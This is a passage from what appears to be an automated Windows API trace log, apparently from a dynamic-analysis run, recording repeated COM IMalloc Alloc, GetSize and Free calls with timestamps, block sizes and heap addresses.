0x2764bb09270 [0108.900] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09270) returned 0x8 [0108.900] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09270) [0108.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0108.995] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) returned 0x10 [0108.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0108.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb027e0 [0108.995] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb027e0) returned 0x20 [0108.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb027e0) [0108.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8291b0 [0108.995] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8291b0) returned 0x30 [0108.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8291b0) [0108.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881bf0 [0108.996] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) returned 0x48 [0108.996] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881bf0) [0108.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0108.996] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) returned 0x10 [0108.997] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0108.997] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09150 [0108.997] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09150) returned 0x8 [0108.998] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09150) [0108.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0108.998] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0108.999] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0108.999] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092e0 [0108.999] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) returned 0x8 [0109.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092e0) [0109.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0109.000] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) returned 0x10 [0109.003] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0109.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0109.003] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0109.006] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0109.006] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0109.006] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) returned 0x10 [0109.006] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0109.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0109.007] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0109.007] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0109.007] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0109.007] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) returned 0x10 [0109.008] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0109.008] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09240 [0109.008] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09240) returned 0x8 [0109.009] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09240) [0109.009] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.009] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.010] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.010] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0109.011] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0109.011] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0109.011] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0109.011] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) returned 0x10 [0109.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0109.012] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09210 [0109.012] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09210) returned 0x8 [0109.013] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09210) [0109.013] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0109.013] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0109.013] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0109.013] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f80 [0109.013] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) returned 0x8 [0109.014] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f80) [0109.014] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0109.014] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) returned 0x10 [0109.014] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0109.014] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09320 [0109.014] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09320) returned 0x8 [0109.014] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09320) [0109.014] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.014] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.015] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.015] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0109.015] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0109.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0109.016] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0109.016] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0109.018] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0109.018] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0109.018] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) returned 0x10 [0109.019] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) [0109.019] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0109.019] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0109.019] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0109.019] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0109.019] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) returned 0x10 [0109.020] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0109.020] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09200 [0109.020] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09200) returned 0x8 [0109.021] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09200) [0109.021] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e20 [0109.021] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) returned 0x10 [0109.022] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) [0109.022] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0109.022] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0109.023] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0109.023] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0109.023] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) returned 0x10 [0109.023] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) [0109.024] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0109.024] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0109.024] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0109.024] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0109.024] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) returned 0x10 [0109.025] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) [0109.025] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09070 [0109.025] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09070) returned 0x8 [0109.026] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09070) [0109.026] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0109.026] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) returned 0x10 [0109.026] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0109.026] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0109.026] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0109.026] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0109.027] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0109.027] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) returned 0x10 [0109.027] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6860) [0109.027] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0109.027] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0109.027] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0109.027] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0109.027] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) returned 0x10 [0109.028] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0109.028] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09170 [0109.028] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09170) returned 0x8 [0109.029] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09170) [0109.029] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0109.029] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) returned 0x10 [0109.030] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b40) [0109.030] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0109.030] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0109.031] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0109.031] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09280 [0109.031] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09280) returned 0x8 [0109.032] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09280) [0109.033] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.033] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.135] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.135] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0109.135] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0109.142] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0109.142] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.142] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.143] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.143] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0109.143] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0109.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0109.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.144] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.149] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.149] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09280 [0109.149] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09280) returned 0x8 [0109.155] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09280) [0109.155] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.155] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.156] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.156] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0109.156] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0109.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0109.157] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.157] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.157] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09230 [0109.157] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09230) returned 0x8 [0109.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09230) [0109.158] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.158] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.163] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.163] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09070 [0109.163] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09070) returned 0x8 [0109.169] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09070) [0109.169] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.169] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.179] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.179] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.179] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.283] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.283] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0109.283] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0109.294] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0109.294] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0109.294] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) returned 0x10 [0109.297] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0109.297] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f60 [0109.297] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) returned 0x8 [0109.299] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f60) [0109.299] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0109.299] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) returned 0x10 [0109.304] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0109.304] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fd0 [0109.304] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) returned 0x8 [0109.310] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08fd0) [0109.310] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e60 [0109.310] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) returned 0x10 [0109.314] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e60) [0109.314] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0109.314] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0109.319] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0109.319] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0109.319] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) returned 0x10 [0109.320] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0109.320] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0109.320] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0109.321] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0109.321] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69e0 [0109.321] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e69e0) returned 0x10 [0109.322] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69e0) [0109.478] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0109.479] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0109.479] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0109.479] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c80 [0109.479] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c80) returned 0x10 [0109.480] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c80) [0109.480] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0109.480] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0109.481] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09080) [0109.481] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090b0 [0109.481] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) returned 0x8 [0109.482] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090b0) [0109.482] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7f00 [0109.482] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7f00) returned 0x10 [0109.483] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f00) [0109.483] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0109.483] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0109.483] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0109.483] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7be0 [0109.483] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) returned 0x18 [0109.483] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0109.483] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb02f30 [0109.483] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb02f30) returned 0x20 [0109.484] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb02f30) [0109.484] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7da0 [0109.484] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7da0) returned 0x18 [0109.484] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7da0) [0109.484] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb02a80 [0109.484] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb02a80) returned 0x20 [0109.484] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb02a80) [0109.484] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7e20 [0109.484] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7e20) returned 0x10 [0109.484] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7e20) [0109.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7900 [0109.485] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7900) returned 0x18 [0109.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7900) [0109.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7920 [0109.485] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7920) returned 0x18 [0109.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7920) [0109.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f50 [0109.485] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) returned 0x8 [0109.485] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f50) [0109.485] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7b40 [0109.485] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7b40) returned 0x10 [0109.486] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7b40) [0109.486] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7be0 [0109.486] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) returned 0x10 [0109.491] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7be0) [0109.491] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0109.491] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0109.499] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0109.499] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090c0 [0109.499] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) returned 0x8 [0109.504] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090c0) [0109.504] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d79e0 [0109.504] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d79e0) returned 0x10 [0109.507] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d79e0) [0109.507] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0109.507] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0109.511] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0109.518] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d7d40 [0109.518] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7d40) returned 0x18 [0109.519] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7d40) [0109.519] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091c0 [0109.519] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) returned 0x8 [0109.519] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091c0) [0109.520] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09040 [0109.520] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09040) returned 0x8 [0109.520] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09040) [0109.520] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7c40 [0109.520] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7c40) returned 0x10 [0109.520] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7c40) [0109.520] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb02f30 [0109.520] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb02f30) returned 0x20 [0109.521] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb02f30) [0109.521] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b8292f0 [0109.521] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8292f0) returned 0x30 [0109.609] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8292f0) [0109.609] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8830e0 [0109.609] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8830e0) returned 0x48 [0109.620] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8830e0) [0109.620] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090d0 [0109.620] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) returned 0x8 [0109.620] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090d0) [0109.620] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7aa0 [0109.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7aa0) returned 0x10 [0109.621] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7aa0) [0109.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092d0 [0109.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) returned 0x8 [0109.621] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092d0) [0109.621] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d7a00 [0109.621] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d7a00) returned 0x10 [0109.621] 